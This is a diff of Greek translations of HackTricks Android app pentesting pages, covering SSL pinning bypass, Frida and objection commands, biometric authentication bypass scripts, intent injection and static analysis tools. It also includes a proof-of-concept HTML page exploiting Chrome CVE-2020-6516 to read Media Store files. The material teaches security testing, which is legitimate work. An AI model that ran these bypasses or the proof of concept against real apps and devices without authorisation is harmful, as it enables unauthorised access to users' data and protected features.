Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κυκλοφορίας. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το tutorial**](make-apk-accept-ca-certificate.md).
#### Παράκαμψη SSL Pinning
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της HTTPS κυκλοφορίας. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
- Αυτόματα **τροποποιήστε** το **apk** για να **παράκαμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
- Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
- Αν νομίζετε ότι υπάρχει κάποια κίνηση που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Αν νομίζετε ότι υπάρχει κάποια κυκλοφορία που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κυκλοφορία στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Αναζητώντας Κοινές Ευπάθειες Ιστού
@ -455,11 +425,11 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
Αν θέλετε να κάνετε pentest σε εφαρμογές Android, πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/)
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Το Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως υποδεικνύεται στο [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
@ -482,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Ευαίσθητα δεδομένα στο Keystore**
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν για αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι δοκιμές ασφάλειας θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
@ -490,15 +460,15 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
### **Αναγνώριση/Βιομετρική Παράκαμψη**
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Εικόνες Φόντου**
### **Εικόνες Υποβάθρου**
Όταν βάζετε μια εφαρμογή σε φόντο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
Όταν βάζετε μια εφαρμογή σε υποβάθρο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, κάνοντάς την να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημειώστε ότι χρειάζεστε root για να έχετε πρόσβαση σε αυτό).
@ -516,42 +486,27 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, οι οποίες μπορεί να είναι επικίνδυνες.
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intents.
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
### Βασικά Σημεία
- **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του web.
- **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού.
- Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες.
- Μπορεί να εκθέσει μη εξαγόμενα components και content providers στους επιτιθέμενους.
- Η μετατροπή URL σε `Intent` του `WebView` μπορεί να διευκολύνει ακούσιες ενέργειες.
### Εισαγωγές Client Side Android και άλλα
### Εισαγωγές Πελάτη Android και άλλες
Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από το Web. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από τον Ιστό. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
- **SQL Injection:** Όταν ασχολείστε με δυναμικά queries ή Content-Providers, βεβαιωθείτε ότι χρησιμοποιείτε παραμετροποιημένα queries.
- **JavaScript Injection (XSS):** Ελέγξτε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο σύστημα αρχείων (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
- **Διαρκείς cookies**: Σε πολλές περιπτώσεις, όταν η εφαρμογή android ολοκληρώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στο δίσκο.
- **Τοπική Συμπερίληψη Αρχείων:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο σύστημα αρχείων (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
- **Διαρκή cookies**: Σε πολλές περιπτώσεις, όταν η εφαρμογή android ολοκληρώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στον δίσκο.
- [**Secure Flag** στα cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Ενημερώσεις Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking.
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο.
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας.
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
## Αυτόματη Ανάλυση
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -615,8 +570,8 @@ receivers
```
**HTTP εργαλεία**
Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο "**HTTP(S) Traffic**" κάτω ή μια πιο ωραία προβολή στο "**Start HTTPTools**" πράσινο κουμπί. Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα αιτήματα** σε **proxy** όπως το Burp ή το Owasp ZAP.\
Για να το κάνετε αυτό, νεργοποιήστε το Burp -->_ _απενεργοποιήστε την Παρεμβολή --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο "**HTTP(S) Traffic**" κάτω ή μια πιο ωραία προβολή στο "**Start HTTPTools**" πράσινο κουμπί. Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα αιτήματα** σε **proxies** όπως το Burp ή το Owasp ZAP.\
Για να το κάνετε αυτό, νεργοποιήστε το Burp -->_ _απενεργοποιήστε το Intercept --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Αφού ολοκληρώσετε την δυναμική ανάλυση με το MobSF, μπορείτε να πατήσετε το "**Start Web API Fuzzer**" για να **fuzz http αιτήματα** και να αναζητήσετε ευπάθειες.
@ -674,7 +629,7 @@ super-analyzer {apk_file}
Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bug bounty και ηθικούς χάκερ να εκτελούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε κινητές εφαρμογές.
Η έννοια είναι ότι σύρετε και αποθέτετε το αρχείο της κινητής σας εφαρμογής (ένα αρχείο .apk ή .ipa) στην εφαρμογή StaCoAn και θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τις λίστες λέξεων για να αποκτήσετε μια εξατομικευμένη εμπειρία.
Η ιδέα είναι ότι σύρετε και αποθέτετε το αρχείο της κινητής σας εφαρμογής (ένα αρχείο .apk ή .ipa) στην εφαρμογή StaCoAn και θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τις λίστες λέξεων για να αποκτήσετε μια εξατομικευμένη εμπειρία.
Κατεβάστε[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -690,7 +645,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύσει και να προειδοποιήσει τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύει και να προειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
Η ανίχνευση πραγματοποιείται με την **στατική ανάλυση** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
@ -710,7 +665,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
- Αναλύει APKs χρησιμοποιώντας: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Εξάγει ιδιωτικές πληροφορίες από το APK χρησιμοποιώντας regexps.
- Αναλύει το Manifest.
- Αναλύει βρέθηκαν τομείς χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Αναλύει βρέθηκαν domains χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Αποκωδικοποιεί APK μέσω [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
@ -733,11 +688,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
- φορτώστε μια πηγή ως InputStream;
- φορτώστε έναν πόρο ως InputStream;
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε;
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
- τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`.
### [DeGuard](http://apk-deguard.com)
@ -745,9 +700,13 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Αυτό είναι ένα εργαλείο LLM για να βρείτε τυχόν πιθανές ευπάθειες ασφάλειας σε εφαρμογές android και να αποκωδικοποιήσετε τον κώδικα της εφαρμογής android. Χρησιμοποιεί το δημόσιο API Gemini της Google.
### [Simplify](https://github.com/CalebFenton/simplify)
Είναι ένα **γενικό android deobfuscator.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος συγκεκριμένος τύπος απόκρυψης χρησιμοποιείται.
Είναι ένα **γενικό αποκρυπτογραφητή android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
### [APKiD](https://github.com/rednaga/APKiD)
@ -777,19 +736,4 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## **Μέθοδος 1 Παράκαμψη χωρίς Χρήση Crypto Object**
Η εστίαση εδώ είναι στο _onAuthenticationSucceeded_ callback, το οποίο είναι κρίσιμο στη διαδικασία αυθεντικοποίησης. Ερευνητές από την WithSecure ανέπτυξαν ένα [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), που επιτρέπει την παράκαμψη του NULL _CryptoObject_ στο _onAuthenticationSucceeded(...)_. Το script αναγκάζει μια αυτόματη παράκαμψη της αυθεντικοποίησης δακτυλικών αποτυπωμάτων κατά την κλήση της μεθόδου. Παρακάτω είναι ένα απλοποιημένο απόσπασμα που δείχνει την παράκαμψη σε ένα περιβάλλον Δακτυλικών Αποτυπωμάτων Android, με την πλήρη εφαρμογή διαθέσιμη στο [GitHub](https://github.com/St3v3nsS/InsecureBanking).
@ -31,7 +25,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
Μόλις φτάσετε στην οθόνη δακτυλικών αποτυπωμάτων και την εκκίνηση του `authenticate()`, πληκτρολογήστε `bypass()` στην κονσόλα Frida για να ενεργοποιήσετε την παράκαμψη:
Μόλις φτάσετε στην οθόνη δακτυλικών αποτυπωμάτων και ξεκινήσει η `authenticate()`, πληκτρολογήστε `bypass()` στην κονσόλα Frida για να ενεργοποιήσετε την παράκαμψη:
```
Spawning com.generic.insecurebankingfingerprint...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
@ -63,16 +57,11 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
Υπάρχουν εξειδικευμένα εργαλεία και σενάρια σχεδιασμένα για να δοκιμάσουν και να παρακάμψουν τους μηχανισμούς αυθεντικοποίησης. Για παράδειγμα:
1. **MAGISK Modules**: Το MAGISK είναι ένα εργαλείο για Android που επιτρέπει στους χρήστες να αποκτούν πρόσβαση root στις συσκευές τους και να προσθέτουν modules που μπορούν να τροποποιήσουν ή να παραποιήσουν πληροφορίες σε επίπεδο υλικού, συμπεριλαμβανομένων των δακτυλικών αποτυπωμάτων.
2. **Προσαρμοσμένα Σενάρια**: Μπορούν να γραφούν σενάρια για να αλληλεπιδρούν με το Android Debug Bridge (ADB) ή απευθείας με το backend της εφαρμογής για να προσομοιώσουν ή να παρακάμψουν την αυθεντικοποίηση με δακτυλικά αποτυπώματα.
2. **Προσαρμοσμένα Σενάρια**: Σενάρια μπορούν να γραφούν για να αλληλεπιδρούν με το Android Debug Bridge (ADB) ή απευθείας με το backend της εφαρμογής για να προσομοιώσουν ή να παρακάμψουν την αυθεντικοποίηση με δακτυλικά αποτυπώματα.
## Αναφορές
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Αυτή είναι μια περίληψη της ανάρτησης [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
@ -16,7 +13,7 @@ $ content query --uri content://media/external/file
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Οι παροχείς περιεχομένου είναι απομονωμένοι στον δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν παροχέα απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τις διαδρομές πρόσβασης σε έναν παροχέα μπορούν να αποκτηθούν από τα μανιφέστα εφαρμογών ή από τον πηγαίο κώδικα του Android framework.
Οι παροχείς περιεχομένου είναι απομονωμένοι στον δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν παροχέα απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τις διαδρομές πρόσβασης σε έναν παροχέα μπορούν να αποκτηθούν από τα μανιφέστα εφαρμογών ή τον πηγαίο κώδικα του Android framework.
### Η Πρόσβαση του Chrome στους Παροχείς Περιεχομένου
@ -44,11 +41,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Παράκαμψη Πολιτικής Ίδιων Προελεύσεων
Η ολιτική Ίδιων Προελεύσεων_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και πλαστογράφησης αιτημάτων από άλλες τοποθεσίες. Ο Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.
Η ολιτική Ίδιων Προελεύσεων_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και επιθέσεων Cross-Site Request Forgery. Ο Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, ο κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, γεγονός που ήταν σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις πριν από το Android 10, όπου η περιορισμένη αποθήκευση δεν είχε εφαρμοστεί.
Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού έχει ανέβει κάτω από **/sdcard** και έχει προστεθεί στο Media Store, χρησιμοποιεί `XMLHttpRequest` στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού ανέβει κάτω από **/sdcard** και προστεθεί στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Απόδειξη της Έννοιας HTML:
```xml
@ -79,8 +76,4 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APKs προς δοκιμή
## APKs to test
